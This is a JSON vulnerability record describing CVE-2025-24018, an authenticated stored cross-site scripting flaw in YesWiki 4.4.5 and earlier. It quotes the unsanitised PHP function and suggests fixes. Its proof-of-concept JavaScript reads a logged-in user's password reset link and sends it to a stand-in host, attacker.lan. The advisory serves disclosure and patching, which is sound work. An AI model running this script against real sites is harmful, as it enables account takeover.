{"id":"CVE-2025-24018","aliases":["GHSA-w59h-3x3q-3p6j"],"url":"https://o3.security/vulnerability/CVE-2025-24018","summary":"YesWiki Vulnerable to Authenticated Stored XSS","details":"# Authenticated Stored XSS in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n echo 'wiki->href('upload', $this->wiki->GetPageTag(), \"file=$this->file\") . '\" class=\"btn btn-primary\"> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '';\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n\n\n\n\nOn a page:\n\n\n\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n .then(response => {\n return response.text();\n })\n .then(htmlString => {\n const parser = new DOMParser();\n const doc = parser.parseFromString(htmlString, 'text/html');\n const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n\n\nAllows our administrator account's password reset link to be sent to the listener of the attacker:\n\n\n\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n $filename = htmlspecialchars($this->file);\n echo 'wiki->href('upload', $this->wiki->GetPageTag(), \"file=$filename\") . '\" class=\"btn btn-primary\"> ' . _t('UPLOAD_FILE') . ' ' . $filename . '';\n}\n```\n\n- Implement a stronger password reset mechanism through:\n + Not showing a password reset link to an already logged-in user. \n + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.","published":"2025-01-21T17:02:04.924Z","modified":"2026-08-12T03:51:08.716433744Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.5.0"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b","label":"YesWiki/yeswiki@c1e28b5"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/blob/v4.4.5/tools/attach/libs/attach.lib.php#L660"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24018.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w59h-3x3q-3p6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24018"},{"type":"FIX","url":"https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:08.716433744Z"}}